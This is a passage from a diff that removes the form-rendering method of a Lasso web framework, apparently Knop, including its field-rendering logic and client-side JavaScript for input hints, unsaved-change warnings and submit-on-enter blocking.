-			&& (params -> size == 0 || (local_defined: 'start') );
-			#renderformStartTag=true;
-		/if;
-		if: (self -> 'formaction') != null 
-			&& (params -> size == 0 || (local_defined: 'end') );
-			#renderformEndTag=true;
-		/if;
-		if: #renderformStartTag;
-			// render opening form tag
-
-			#output +='<form';
-			(self -> 'debug_trace') -> insert(tag_name + ': formaction = ' + (self -> 'formaction'));
-			if: (self -> 'formaction') != null;
-				#output += ' action="' + (self -> 'formaction');
-				if: (self -> 'method') == 'post' && !(self -> 'noautoparams');
-					local: 'actionparams'=array;
-					iterate: #clientparams, (local: 'clientparam');
-						if: #clientparam -> type == 'pair';
-							if: #clientparam -> name -> (beginswith: '-') 
-							    && !(#clientparam -> name -> (beginswith: '-upload.'))
-							    && !(#clientparam -> name -> (beginswith: '-upload2.'))
-								&& #clientparam -> name != '-session'
-								&& (self -> 'fields') !>> #clientparam -> name
-								// check if param name appears in form action
-								// turn param into [p][a][r][a][m] to avoid problems with most reserved regex characters like "."
-								&& (string_findregexp: (self -> 'formaction'), -find='[?;&]['
-									+ ((#clientparam -> name) -> (split: '') -> (join: '][')) 
-									+ ']([&=]|$)', -ignorecase) -> size == 0;
-								#actionparams -> (insert: (#clientparam -> name) + '=' + (encode_url: (#clientparam -> value)) );
-							/if;
-						else: #clientparam -> type == 'string' 
-							&& #clientparam -> (beginswith: '-') 
-							&& (self -> 'fields') !>> #clientparam
-							// check if param appears in form action
-							// turn param into [p][a][r][a][m] to avoid problems with most reserved regex characters like "."
-							&& (string_findregexp: (self -> 'formaction'), -find='[?;&]['
-								+ (#clientparam -> (split: '') -> (join: '][')) 
-								+ ']([&=]|$)', -ignorecase) -> size == 0;
-							#actionparams -> (insert: #clientparam );
-						/if;
-					/iterate;
-					if: #actionparams -> size;
-						#output += ((self -> 'formaction') >> '?' ? '&amp;' | '?' ) + #actionparams -> (join: '&amp;');
-					/if;
-				/if;
-				#output += '"';
-			/if;
-			(self -> 'method') != null		? #output += ' method="' + (self -> 'method') + '"';
-			(self -> 'name') != null		? #output += ' name="' + (self -> 'name') + '"';
-			#output += ' id="' + #formid + '"';
-			(self -> 'class') != null		? #output += ' class="' + (self -> 'class') + '"';
-			(self -> 'enctype') != ''		? #output += ' enctype="' + (self -> 'enctype') + '"';
-			(self -> 'raw') != null			? #output += ' ' + (self -> 'raw');
-			!(self -> 'noscript') ? #output += ' onsubmit="return validateform(this)"';
-			(self -> 'entersubmitblock') && !(self -> 'noscript')	? #output += ' onkeydown="return submitOk(event);" onfocus="submitBlock=true; return true;" onblur="submitBlock=false; return true;"';
-			#output += '>\n';
-
-
-			if: (self -> 'actionpath') != '' 
-				&& !(self -> 'noautoparams') 
-				&& (self -> 'fields') !>> '-action';
-				// auto-add -action unless there is already an -action field in the form
-				#output += '<input type="hidden" name="-action" value="' + (encode_html: (self -> 'actionpath')) + '"' + #endslash + '>\n';
-			/if;
-			if: (self -> 'fieldset');
-				#output += '<fieldset>\n';
-				#output +='<legend>' + (self -> 'legend') + '</legend>\n';
-			/if;
-			if: (self -> 'method') == 'get' && !(self -> 'noautoparams');
-				iterate: #clientparams, (local: 'clientparam');
-					if: #clientparam -> type == 'pair';
-						if: #clientparam -> name -> (beginswith: '-')
-							&& #clientparam -> name != '-session'
-							&& (self -> 'fields') !>> #clientparam -> name
-							// check if param name appears in form action
-							// turn param into [p][a][r][a][m] to avoid problems with most reserved regex characters like .
-							&& (string_findregexp: (self -> 'formaction'), -find='[?;&]['
-								+ ((#clientparam -> name) -> (split: '') -> (join: '][')) 
-								+ ']([&=]|$)', -ignorecase) -> size == 0;
-							#output += '<input type="hidden" name="' + (#clientparam -> name) + '" value="' + (encode_html: (#clientparam -> value)) + '"' + #endslash + '>\n';
-						/if;
-					else: #clientparam -> type == 'string' 
-						&& #clientparam -> (beginswith: '-')
-						&& (self -> 'fields') !>> #clientparam
-						// check if param appears in form action
-						// turn param into [p][a][r][a][m] to avoid problems with most reserved regex characters like .
-						&& (string_findregexp: (self -> 'formaction'), -find='[?;&]['
-							+ (#clientparam -> (split: '') -> (join: ']['))
-							+ ']([&=]|$)', -ignorecase) -> size == 0;
-						#output += '<input type="hidden" name="' + #clientparam + '"' + #endslash + '>\n';
-					/if;
-				/iterate;
-			/if;
-			if: (self -> 'database') -> type == 'database';
-				if: (self -> 'database') -> lockfield != '' && (self -> 'db_lockvalue') != '';
-					#output += '<input type="hidden" name="-lockvalue" value="' + (encode_html: (self -> 'db_lockvalue')) + '"' + #endslash + '>\n';
-				else: (self -> 'database') -> keyfield != '' && (self -> 'db_keyvalue') != '';
-					#output += '<input type="hidden" name="' + (self -> 'keyparamname') + '" value="' + (encode_html: (self -> 'db_keyvalue')) + '"' + #endslash + '>\n';
-				/if;
-			/if;
-		/if;
-		
-		
-		if: !(local_defined: 'start') && !(local_defined: 'end');
-
-			(local_defined: 'name') && !((self -> 'fields') >> #name) 	? 	return;
-			
-			(local_defined: 'name')		? local: 'from'=#name, 'to'=#name;
-			!(local_defined: 'from') 		? local: 'from'=1;
-			!(local_defined: 'to') 			? local: 'to'=(self -> 'fields') -> size;
-			!(local_defined: 'type')		? local: 'type'=(self -> 'validfieldtypes');
-			!(local_defined: 'excludetype')	? local: 'excludetype'=map;
-			#type -> type == 'string' 		? #type = (map: #type);
-			#excludetype -> type == 'string' ? #excludetype = (map: #excludetype);
-
-			// only render form inputs if we are not only rendering the form tags
-		
-			// use field name if #from is a string
-			#from -> type == 'string' ? #from = integer: ((self -> 'fields') -> (findindex: #from) -> first);
-			#from == 0 ? #from = 1;
-			// negative numbers count from the end
-			#from < 0 ? #from = (self -> 'fields') -> size + #from;
-	
-			// use field name if #to is a string
-			#to -> type == 'string' ? #to = integer: ((self -> 'fields') -> (findindex: #to) -> last);
-			#to == 0 ? #to = (self -> 'fields') -> size;
-			// negative numbers count from the end
-			#to < 0 ? #to = (self -> 'fields') -> size + #to;
-
-			// sanity check
-			#from > #to ? #to = #from;
-	
-			local: 'template'=( (self -> 'template') != '' 
-				? (self -> 'template') 		
-				| '#label# #field##required#<br' + #endslash + '>\n' );
-			local: 'buttontemplate'=( (self -> 'buttontemplate') != '' 
-				? (self -> 'buttontemplate') 
-				| (self -> 'template') != '' 
-				? (self -> 'template')
-				| '#field#\n' );
-			local: 'requiredmarker'=(self -> 'required');
-			local: 'defaultclass'=( (self -> 'class') != '' 
-				? (self -> 'class') 		
-				| '');
-			local: 'errorclass'=( (self -> 'errorclass') != '' 
-				? ' class="' + (self -> 'errorclass') + '"' 
-				| ' style="color: red;"');
-			
-			if: (local_defined: 'legend');
-				(self -> 'render_fieldset2_open') = true;
-				#output += '<fieldset>\n'
-					+ '<legend>' + #legend + '</legend>\n';
-			/if;
-
-			iterate: (self -> 'fields'), (local: 'fieldpair');
-				#onefield = #fieldpair -> value;
-				#fieldvalue = (#onefield -> (find: 'value'));
-				#fieldvalue_array = #fieldvalue;
-				if: #fieldvalue_array -> type != 'array';
-					if: #fieldvalue_array >> '\r'; // Filemaker value list with multiple checked
-						#fieldvalue_array = #fieldvalue_array -> (split: '\r');
-					else: #fieldvalue_array >> ','; // Other database with multiple checked
-						#fieldvalue_array = #fieldvalue_array -> (split: ',');
-					else;
-						#fieldvalue_array = array: #fieldvalue_array;
-					/if;
-				/if;
-				if: #onefield >> 'options';
-					#options = (#onefield -> find: 'options');
-					// convert types for pair 
-					iterate: #options, (local: 'option');
-						if: #option -> type != 'pair';
-							#option = (pair: #option = #option);
-						/if;
-						// name must be string to make sure comparsions work
-						(#option -> name) = (string: #option -> name);
-					/iterate;
-				/if;
-				
-				if: loop_count >= #from 
-					&& loop_count <= #to
-					&& #type >> #onefield -> (find: 'type')
-					&& !(#excludetype >> #onefield -> (find: 'type'));
-					if: (self -> 'unsavedwarning') == '';
-						#nowarning=true;
-					else;
-						#nowarning=#onefield -> (find: 'nowarning');
-					/if;
-					
-					if: #onefield -> (find: 'template') -> size;
-						#renderrow = #onefield -> (find: 'template');
-					else: (map: 'submit', 'reset', 'image') >> #onefield -> (find: 'type');
-						#renderrow=#buttontemplate;
-					else;
-						#renderrow=#template;
-					/if;
-					local: 'id'= string;
-					if: (#onefield -> (find: 'id')) !='';
-						#id = (#onefield -> (find: 'id'));
-					else;
-						#id = #formid + '_' + (#onefield -> (find: 'name')) + loop_count;
-					/if;
-					if: (self -> 'errors') -> size == 0 && #focusfield == '' && #onefield -> (find: 'focus');
-						// give this field focus
-						#focusfield = #id;
-					/if;
-					
-					// set field label, with error marker if field validation failed
-					// if: (self -> 'exceptionfieldtypes') >> (#onefield -> (find: 'type')) && (#onefield -> (find: 'type')) != 'file';
-					//	#renderrow -> (replace: '#label#', '');
-					//else: 
-					if: (self -> 'errors') -> type == 'array' && (self -> 'errors') >> (#onefield -> (find: 'name'));
-						#renderrow -> (replace: '#label#', 
-							'<label for="' + #id + '" id="' + #id + '_label" ' + #errorclass + '>' + (#onefield -> find('label')) + '</label>');
-						if: #focusfield == '';
-							#focusfield = #id;
-						/if;
-					else;
-						#renderrow -> (replace: '#label#', '<label for="' + #id + '" id="' + #id + '_label">' + (#onefield -> find('label')) + '</label>');
-					/if;
-					
-					// set markers for required fields 
-					if: #onefield -> (find: 'required') && !((self -> 'exceptionfieldtypes') >> (#onefield -> (find: 'type')) );
-						#renderrow -> (replace: '#required#', (encode_smart: #requiredmarker));
-					else;
-						#renderrow -> (replace: '#required#', '');
-					/if;
-					#renderfield=string;
-					#renderfield_base = ' name="' + (encode_html: (#onefield -> (find: 'name'))) + '"'
-						+ (#onefield >> 'class' ?  ' class="' + (#onefield -> (find: 'class')) + '"' 
-							| (#defaultclass != '' ? ' class="' + #defaultclass + '"') )
-						+ ' id="' +  (encode_html: #id) + '"'
-						+ (#onefield >> 'raw'	?  ' ' + (#onefield -> (find: 'raw')) )
-						+ (#onefield -> (find: 'disabled') ? ' disabled="disabled"');
-
-					#fieldtype=(#onefield -> (find: 'type'));
-					if: #fieldtype == 'search' && client_type !>> 'WebKit';
-						// only show <input type=search" for WebKit based browsers like Safari
-						#fieldtype = 'text';
-					/if;
-					select: #fieldtype;
-					case: 'html';
-						#renderrow = #template;
-						#renderrow -> (replace: '#label#', '');
-						#renderrow -> (replace: '#required#', '');
-						#renderfield = #fieldvalue + '\n';
-					case: 'legend';
-						#renderrow = '';
-						if: (self -> 'render_fieldset_open');
-							#output += '</fieldset>\n';
-							(self -> 'render_fieldset_open') = false;
-						/if;
-						#output += '<fieldset' 
-							+ (#onefield >> 'class' ?  ' class="' + (#onefield -> (find: 'class')) + '"' 
-								| (#defaultclass != '' ? ' class="' + #defaultclass + '"') )
-							+ ((#onefield -> (find: 'id') != '') ? ' id="' + #id + '"') 
-							+ '>\n';
-						(self -> 'render_fieldset_open') = true;
-						#output += '<legend>' + (encode_html: #fieldvalue) + '</legend>\n';
-					case: 'fieldset';
-						#renderrow = '';
-						if: (self -> 'render_fieldset_open');
-							#output += '</fieldset>\n';
-							(self -> 'render_fieldset_open') = false;
-						/if;
-						if: #fieldvalue !== false;
-							(self -> 'render_fieldset_open') = true;
-							#output += '<fieldset' 
-							+ (#onefield >> 'class' ?  ' class="' + (#onefield -> (find: 'class')) + '"' 
-								| (#defaultclass != '' ? ' class="' + #defaultclass + '"') )
-							+ ((#onefield -> (find: 'id') != '') ? ' id="' + #id + '"') 
-							+ '>\n<legend>' + (encode_html: #fieldvalue) + '</legend>\n'; // must contain a legend
-						/if;
-					case: 'hidden';
-						#renderfield += '<input type="hidden"' 
-							+ #renderfield_base
-							+ ' value="' + (encode_html: #fieldvalue) + '"';
-						#renderfield += #endslash + '>';
-						#renderrow = '';
-						#output += #renderfield + '\n';
-					case: 'text';
-						#renderfield += '<input type="text"' 
-							+ #renderfield_base
-							+ ' value="' + (encode_html: #fieldvalue) + '"'
-							+ (#onefield >> 'size' 	? ' size="' + (#onefield -> (find: 'size')) + '"' )
-							+ (#onefield >> 'maxlength' 	? ' maxlength="' + (#onefield -> (find: 'maxlength')) + '"' );
-						if: !(self -> 'noscript') && (#onefield -> (find: 'hint')) != '';
-							#renderfield += ' onfocus="clearHint(this)" onblur="setHint(this, \'' (#onefield -> (find: 'hint')) '\')"';
-							#usehint -> (insert: (#onefield -> find: 'name') = #id);
-						/if;
-						if: !(self -> 'noscript') && !#nowarning;
-							#renderfield += ' onkeydown="dirtyvalue(this)" onkeyup="makedirty(this)"';
-						/if;
-						#renderfield += #endslash + '>';
-					case: 'search';
-						#renderfield += '<input type="search"' 
-							+ #renderfield_base
-							+ ' value="' + (encode_html: #fieldvalue) + '"'
-							+ (#onefield >> 'size' 	? ' size="' + (#onefield -> (find: 'size')) + '"' );
-						if: (#onefield -> (find: 'hint')) != '';
-							#renderfield += ' placeholder="' + (encode_html: (#onefield -> (find: 'hint'))) + '"';
-						/if;
-						if: !(self -> 'noscript') && !#nowarning;
-							#renderfield += ' onkeydown="dirtyvalue(this)" onkeyup="makedirty(this)"';
-						/if;
-						#renderfield += #endslash + '>';
-					case: 'password';
-						#renderfield += '<input type="password"' 
-							+ #renderfield_base
-							+ ' value="' + (encode_html: #fieldvalue) + '"'
-							+ (#onefield >> 'size' 	? ' size="' + (#onefield -> (find: 'size')) + '"' );
-						if: !(self -> 'noscript') && !#nowarning;
-							#renderfield += ' onkeydown="dirtyvalue(this)" onkeyup="makedirty(this)"';
-						/if;
-						#renderfield += #endslash + '>';
-					case: 'textarea';
-						#renderfield += '<textarea' 
-							+ #renderfield_base
-							+ (#onefield >> 'cols' 	? ' cols="' + (#onefield -> (find: 'cols')) + '"')
-							+ (#onefield >> 'rows' 	? ' rows="' + (#onefield -> (find: 'rows')) + '"');
-						if: !(self -> 'noscript') && (#onefield -> (find: 'hint')) != '';
-							#renderfield += ' onfocus="clearHint(this)" onblur="setHint(this, \'' (#onefield -> (find: 'hint')) '\')"';
-							#usehint -> (insert: (#onefield -> find: 'name') = #id);
-						/if;
-						if: !(self -> 'noscript') && !#nowarning;
-							#renderfield += ' onkeydown="dirtyvalue(this)" onkeyup="makedirty(this)"';
-						/if;
-						#renderfield += '>'
-							+ (encode_html: #fieldvalue) + '</textarea>';
-					case: 'checkbox';
-						local: 'optioncount'=integer;
-						#renderfield += '<div class="inputgroup'
-							+ (#onefield >> 'class' ?  ' ' + (#onefield -> find('class'))
-							| (#defaultclass != '' ? ' ' + #defaultclass) ) 
-							+ '" id="' + #id + '">\n';
-						iterate: #options, (local: 'option');
-							#optioncount += 1;
-							#renderfield += (#optioncount > 1 && (#onefield -> find: 'linebreak') ? '<br' + #endslash + '>') + '\n';
-							if: #option -> name == '-optgroup';
-								#renderfield += (!(#onefield -> find: 'linebreak') && #optioncount > 1 ? '\n<br' + #endslash + '>');
-								if: #option -> value != '-optgroup';
-									#renderfield += #option -> value
-										+ (!(#onefield -> find: 'linebreak') ? '<br' + #endslash + '>\n');
-								/if;
-							else;
-								#renderfield +=  '<input type="checkbox"'
-									+ (string_replaceregexp: #renderfield_base, -find='id="(.+?)"', -replace=('id="\\1_' + #optioncount + '"'))
-									+ ' value="' + (encode_html: #option -> name) + '"';
-								if: #option -> name != '' && #fieldvalue_array >> #option -> name;
-									#renderfield +=' checked="checked"';
-								/if;
-								if: !(self -> 'noscript') && !#nowarning;
-									#renderfield += ' onclick="makedirty();"';
-								/if;
-								#renderfield += #endslash + '> <label for="' + #id + '_' + #optioncount 
-									+ '" id="' + #id + '_' + #optioncount + '_label"';
-								if: (self -> 'noscript') && !#nowarning;
-									#renderfield += ' onclick="makedirty();"';
-								/if;
-								#renderfield += '>' + (#option -> value) + '</label> ';
-							/if;
-						/iterate;
-						#renderfield += '</div>\n';
-					case: 'radio';
-						local: 'optioncount'=integer;
-						#renderfield += '<div class="inputgroup'
-							+ (#onefield >> 'class' ?  ' ' + (#onefield -> find('class'))
-							| (#defaultclass != '' ? ' ' + #defaultclass) ) 
-							+ '" id="' + #id + '">\n';
-						iterate: #options, (local: 'option');
-							#optioncount += 1;
-							#renderfield += (#optioncount > 1 && (#onefield -> find: 'linebreak') ? '<br' + #endslash + '>') + '\n';
-							if: #option -> name == '-optgroup';
-								#renderfield += (!(#onefield -> find: 'linebreak') && #optioncount > 1 ? '\n<br' + #endslash + '>');
-								if: #option -> value != '-optgroup';
-									#renderfield += #option -> value
-										+ (!(#onefield -> find: 'linebreak') ? '<br' + #endslash + '>\n');
-								/if;
-							else;
-								#renderfield += '<input type="radio"'
-									+ (string_replaceregexp: #renderfield_base, -find='id="(.+?)"', -replace=('id="\\1_' + #optioncount + '"'))
-									+ ' value="' + (encode_html: #option -> name) + '"';
-								if: #option -> name != '' && #fieldvalue_array >> #option -> name;
-									#renderfield +=' checked="checked"';
-								/if;
-								if: !(self -> 'noscript') && !#nowarning;
-									#renderfield += ' onclick="makedirty();"';
-								/if;
-								#renderfield += #endslash + '> <label for="' + #id + '_' + #optioncount 
-									+ '" id="' + #id + '_' + #optioncount + '_label"';
-								if: !(self -> 'noscript') && !#nowarning;
-									#renderfield += ' onclick="makedirty();"';
-								/if;
-								#renderfield += '>' + (#option -> value) + '</label> ';
-							/if;
-						/iterate;
-						#renderfield += '</div>\n';
-					case: 'select';
-						#renderfield += '<select '
-							+ #renderfield_base
-							+ (#onefield -> (find: 'multiple') ? ' multiple')
-							+ (#onefield >> 'size' 	? ' size="' + (#onefield -> (find: 'size')) + '"' );
-						if: !(self -> 'noscript') && !#nowarning;
-							if: #renderfield >> 'onchange="';
-								#renderfield -> (replace: 'onchange="', 'onchange="makedirty();');
-							else;
-								#renderfield += ' onchange="makedirty()"';
-							/if;
-						/if;
-						#renderfield += '>\n';
-						if: (#onefield -> (find: 'default')) != '' && (#onefield -> (find: 'size')) <= 1;
-							#renderfield += '<option'
-								+ ' value="">' + (encode_html: (#onefield -> (find: 'default'))) + '</option>\n';
-							#renderfield += '<option'
-								+ ' value=""></option>\n';
-						/if;
-						local: 'optgroup_open'=false;
-						iterate: #options, (local: 'option');
-							if: #option -> name == '-optgroup';
-								if: #optgroup_open;
-									#renderfield += '</optgroup>\n';
-								/if;
-								if: #option -> value != '-optgroup';
-									#renderfield += '<optgroup label="' + (#option -> value) + '">\n';
-									#optgroup_open = true;
-								/if;
-							else;
-								#renderfield += '<option'
-									+ ' value="' + (encode_html: #option -> name) + '"';
-								if: #option -> name != '' && #fieldvalue_array >> #option -> name;
-									#renderfield +=' selected="selected"';
-								/if;
-								#renderfield +=  '>' + (encode_html: #option -> value) + '</option>\n';
-							/if;
-						/iterate;
-						if: #optgroup_open;
-							#renderfield += '</optgroup>\n';
-						/if;
-						#renderfield += '</select>\n';
-					case: 'submit';
-						#renderfield += '<input type="submit"' 
-							+ #renderfield_base
-							+ ' value="' + (encode_html: #fieldvalue) + '"';
-						if: (self -> formmode) == 'add' 
-							&& !(#onefield -> (find: 'disabled')) // already disabled
-							&& (#onefield -> (find: 'originaltype') == 'savebutton' || #onefield -> (find: 'originaltype') == 'deletebutton'
-							|| #onefield -> (find: 'name') == 'button_save' || #onefield -> (find: 'name') == 'button_delete');
-							#renderfield += ' disabled="disabled"';
-						/if;
-						if: !(self -> 'noscript') 
-							&& (#onefield -> (find: 'name') == 'button_delete' 
-								|| #onefield -> (find: 'originaltype') == 'deletebutton' 
-								|| #onefield -> (find: 'confirmmessage') != '');
-							local: 'confirmmessage'=(#onefield -> (find: 'confirmmessage') != '' 
-								? #onefield -> (find: 'confirmmessage') | 'Really delete?');
-							#confirmmessage -> (replace: '"', '&quot;');
-							#confirmmessage -> (replace: '\'', '\\\'');
-							#renderfield += ' onclick="return confirm(\'' + #confirmmessage +  '\')"';
-						/if;
-						#renderfield += #endslash + '>';
-					case: 'reset';
-						#renderfield += '<input type="reset"' 
-							+ #renderfield_base
-							+ ' value="' + (encode_html: #fieldvalue) + '"';
-						if: !(self -> 'noscript') && #onefield -> (find: 'confirmmessage') != '';
-							local: 'confirmmessage'=#onefield -> (find: 'confirmmessage');
-							#confirmmessage -> (replace: '"', '&quot;');
-							#confirmmessage -> (replace: '\'', '\\\'');
-							#renderfield += ' onclick="if(confirm(\'' + #confirmmessage +  '\')){makeundirty();return true}else{return false};"';
-						else: !(self -> 'noscript');
-							#renderfield += ' onclick="makeundirty();"';
-						/if;
-						#renderfield += #endslash + '>';
-					case: 'image';
-						#renderfield += '<input type="image"' 
-							+ #renderfield_base
-							+ ' value="' + (encode_html: #fieldvalue) + '"';
-						if: (self -> formmode) == 'add' && 
-							(#onefield -> (find: 'originaltype') == 'savebutton' || #onefield -> (find: 'originaltype') == 'deletebutton'
-							|| #onefield -> (find: 'name') == 'button_save' || #onefield -> (find: 'name') == 'button_delete');
-							#renderfield += ' disabled="disabled"';
-						/if;
-						if: !(self -> 'noscript')
-							&& (#onefield -> (find: 'name') == 'button_delete' 
-								|| #onefield -> (find: 'originaltype') == 'deletebutton' 
-								|| #onefield -> (find: 'confirmmessage') != '');
-							local: 'confirmmessage'=(#onefield -> (find: 'confirmmessage') != '' 
-								? #onefield -> (find: 'confirmmessage') | 'Really delete?');
-							#confirmmessage -> (replace: '"', '&quot;');
-							#confirmmessage -> (replace: '\'', '\\\'');
-							#renderfield += ' onclick="return confirm(\'' + #confirmmessage +  '\')"';
-						/if;
-						#renderfield += #endslash + '>';
-					case: 'file';
-						#renderfield += '<input type="file"' 
-							+ #renderfield_base;
-						if: !(self -> 'noscript') && !#nowarning;
-							if: #renderfield >> 'onchange="';
-								#renderfield -> (replace: 'onchange="', 'onchange="makedirty();');
-							else;
-								#renderfield += ' onchange="makedirty()"';
-							/if;
-						/if;
-						#renderfield += #endslash + '>';
-					/select;
-					#renderrow -> (replace: '#field#', #renderfield);
-					#output += #renderrow;
-				/if; 
-			/iterate;
-			
-				
-		/if; //  !(local_defined: 'start') && !(local_defined: 'end');
-
-		// Add just the needed scripts to support the client side functionality
-		if(!(self -> 'noscript'));
-			#output >> 'togglecontrol(' 
-				? self -> (afterhandler: -endscript='function togglecontrol(obj){
-					// toggles checkboxes and radios when clicking on label (for browsers that don´t support this already)
-					switch (obj.type){
-					case \'checkbox\':
-						obj.checked=!obj.checked;
-						break;
-					case \'radio\':
-						obj.checked=true;
-						break;
-					}
-				}');
-			#output >> 'setHint('
-				? 		self -> (afterhandler: -endscript='function setHint(myField, hint) {
-					if(myField.value==\'\') {
-						if(myField.name.indexOf(\'off_\') != 0) {
-							myField.name=\'off_\' + myField.name;
-						}
-						myField.value=hint;
-						getStyleObject(myField.id).color=\'#aaa\';
-					}
-				}
-				function clearHint(myField) {
-					if(myField.name.indexOf(\'off_\') == 0) {
-						myField.name=myField.name.substr(4);
-						myField.value=\'\';
-						getStyleObject(myField.id).color=\'black\';
-					}
-				}
-				function getStyleObject(objectId) {
-					if(document.getElementById && document.getElementById(objectId)) {
-					return document.getElementById(objectId).style;
-					} else {
-					return false;
-					}
-				}');
-		
-			#output >> 'makedirty(' || #output >> 'validateform('
-				? self -> (afterhandler: -endscript='
-				var dirty=' + ((self -> 'errors') -> size ? 'true' | 'false') + ';
-				var dirtycheckname=null;
-				var dirtycheckvalue=null;
-				var submitBlock=false;
-				function validateform(myForm) {
-					// perform validation of myForm here
-					if(submitBlock){return false};
-					makeundirty();
-					return true;
-				}
-				
-				function dirtyvalue(obj){ // to be called at keydown to track if a text field changes or if arrow keys/tab/cmd-keys are pressed
-					 dirtycheckname = obj.name;
-					 dirtycheckvalue = obj.value;
-				}
-				function makeundirty(){
-					dirty=false; 
-					dirtymarker();
-					window.onbeforeunload=null;
-				}
-				function makedirty(obj){
-					if(obj){ // if object is specified then we are tracking if the value changes through keydown/keyup 
-						if (obj.value == dirtycheckvalue || obj.name != dirtycheckname) { // no change or tabbed to another field - return immediately
-							return
-						}
-					}
-					dirty=true; 
-					dirtymarker();
-				}
-				function checkdirty(){
-					if(dirty){
-						return confirm(\'' + (self -> 'unsavedwarning') + '\')
-					} else {return true}
-				}
-				
-				function dirtymarker() {
-					var obj = document.getElementById(\'' + (self -> 'unsavedmarker') + '\');
-					if(dirty && obj){
-						jscss(\'add\',obj,\'' + (self -> 'unsavedmarkerclass') + '\');
-					}else if(obj) {
-						jscss(\'remove\',obj,\'' + (self -> 'unsavedmarkerclass') + '\');
-					}
-				}
-				function jscss(a,o,c1,c2){
-					/*
-						a = action: swap, add, remove, check
-						o = object
-						c1 = name of the class (first class for swap)
-						c2 = for swap, name of the second class
-						http://onlinetools.org/articles/unobtrusivejavascript/cssjsseparation.html
-					*/
-					switch (a){
-						case \'swap\':
-							o.className=!jscss(\'check\',o,c1)?o.className.replace(c2,c1): o.className.replace(c1,c2);
-							break;
-						case \'add\':
-							if(!jscss(\'check\',o,c1)){o.className+=o.className?\' \'+c1:c1;}
-							break;
-						case \'remove\':
-							var rep=o.className.match(\' \'+c1)?\' \'+c1:c1;
-							o.className=o.className.replace(rep,\'\');
-							break;
-						case \'check\':
-							return new RegExp(\'\\\\b\'+c1+\'\\\\b\').test(o.className);
-							break;
-					}
-				}
-				if(dirty) {makedirty()};');
-				
-				(self -> 'unsavedwarning') != '' 
-					? self -> (afterhandler: -endscript='function beforeunload() {
-					if(dirty) {return \'' + (self -> 'unsavedwarning') + '\';}
-				}
-				window.onbeforeunload=beforeunload;');
-				
-				#output >> 'submitOk'
-					? self -> (afterhandler: -endscript='function submitOk(e) { // prevents submit-on-enter
-					var keynum;
-					var elTarget;
-					var elType;
-		
-					// get keycode for the event 
-					if(window.event) keynum = e.keyCode; // IE
-					else if(e.which) keynum = e.which; // DOM
-		
-					// get target
-					if (e.target) elTarget = e.target;
-					else if (e.srcElement) elTarget = e.srcElement;
-		
-					if(elTarget.tagName.toLowerCase()  == \'input\') elType = elTarget.getAttribute(\'type\').toLowerCase();
-					submitBlock=false;
-					if (elType != \'submit\' && elType != \'image\' && elType != \'reset\') {
-						// allow enter submit when submit button/image or reset button has focus
-						if (keynum==13) submitBlock=true;
-					}
-					return true;
-				}');
-			/if; // noscript
-
-		if: false && $knop_form_renderform_counter <= 1;
-										self -> (afterhandler: -headscript=
-											'function getStyleObject(objectId) {
-												if(document.getElementById && document.getElementById(objectId)) {
-												return document.getElementById(objectId).style;
-												} else {
-												return false;
-												}
-											}
-							
-											function jscss(a,o,c1,c2){
-												/*
-													a = action: swap, add, remove, check
-													o = object
-													c1 = name of the class (first class for swap)
-													c2 = for swap, name of the second class
-													http://onlinetools.org/articles/unobtrusivejavascript/cssjsseparation.html
-												*/
-												switch (a){
-													case \'swap\':
-														o.className=!jscss(\'check\',o,c1)?o.className.replace(c2,c1): o.className.replace(c1,c2);
-														break;
-													case \'add\':
-														if(!jscss(\'check\',o,c1)){o.className+=o.className?\' \'+c1:c1;}
-														break;
-													case \'remove\':
-														var rep=o.className.match(\' \'+c1)?\' \'+c1:c1;
-														o.className=o.className.replace(rep,\'\');
-														break;
-													case \'check\':
-														return new RegExp(\'\\\\b\'+c1+\'\\\\b\').test(o.className);
-														break;
-												}
-											}
-											
-											function togglecontrol(obj){
-												// toggles checkboxes and radios when clicking on label (for browsers that don´t support this already)
-												switch (obj.type){
-												case \'checkbox\':
-													obj.checked=!obj.checked;
-													break;
-												case \'radio\':
-													obj.checked=true;
-													break;
-												}
-											}
-											
-											function setHint(myField, hint) {
-												if(myField.value==\'\') {
-													if(myField.name.indexOf(\'off_\') != 0) {
-														myField.name=\'off_\' + myField.name;
-													}
-													myField.value=hint;
-													getStyleObject(myField.id).color=\'#aaa\';
-												}
-											}
-											function clearHint(myField) {
-												if(myField.name.indexOf(\'off_\') == 0) {
-													myField.name=myField.name.substr(4);
-													myField.value=\'\';
-													getStyleObject(myField.id).color=\'black\';
-												}
-											}
-											var dirty=' + ((self -> 'errors') -> size ? 'true' | 'false') + ';
-											var dirtycheckname=null;
-											var dirtycheckvalue=null;
-											var submitBlock=false;
-							
-											function validateform(myForm) {
-												// perform validation of myForm here
-												if(submitBlock){return false};
-												makeundirty();
-												return true;
-											}
-											
-											function dirtyvalue(obj){ // to be called at keydown to track if a text field changes or if arrow keys/tab/cmd-keys are pressed
-												 dirtycheckname = obj.name;
-												 dirtycheckvalue = obj.value;
-											}
-											function makeundirty(){
-												dirty=false; 
-												dirtymarker();
-												window.onbeforeunload=null;
-											}
-											function makedirty(obj){
-												if(obj){ // if object is specified then we are tracking if the value changes through keydown/keyup 
-													if (obj.value == dirtycheckvalue || obj.name != dirtycheckname) { // no change or tabbed to another field - return immediately
-														return
-													}
-												}
-												dirty=true; 
-												dirtymarker();
-											}
-											function checkdirty(){
-												if(dirty){
-													return confirm(\'' + (self -> 'unsavedwarning') + '\')
-												} else {return true}
-											}
-											function beforeunload() {
-												if(dirty) {
-													return \'' + (self -> 'unsavedwarning') + '\';
-												}
-											}
-											
-											function dirtymarker() {
-												var obj = document.getElementById(\'' + (self -> 'unsavedmarker') + '\');
-												if(dirty && obj){
-													jscss(\'add\',obj,\'' + (self -> 'unsavedmarkerclass') + '\');
-												}else if(obj) {
-													jscss(\'remove\',obj,\'' + (self -> 'unsavedmarkerclass') + '\');
-												}
-											}
-											' + ((self -> 'unsavedwarning') != '' ? 'window.onbeforeunload=beforeunload;') + '
-											
-											function submitOk(e) { // prevents submit-on-enter
-												var keynum;
-												var elTarget;
-												var elType;
-							
-												// get keycode for the event 
-												if(window.event) keynum = e.keyCode; // IE
-												else if(e.which) keynum = e.which; // DOM
-							
-												// get target
-												if (e.target) elTarget = e.target;
-												else if (e.srcElement) elTarget = e.srcElement;
-							
-												if(elTarget.tagName.toLowerCase()  == \'input\') elType = elTarget.getAttribute(\'type\').toLowerCase();
-												submitBlock=false;
-												if (elType != \'submit\' && elType != \'image\' && elType != \'reset\') {
-													// allow enter submit when submit button/image or reset button has focus
-													if (keynum==13) submitBlock=true;
-												}
-												return true;
-											}
-											
-											');
-		/if;
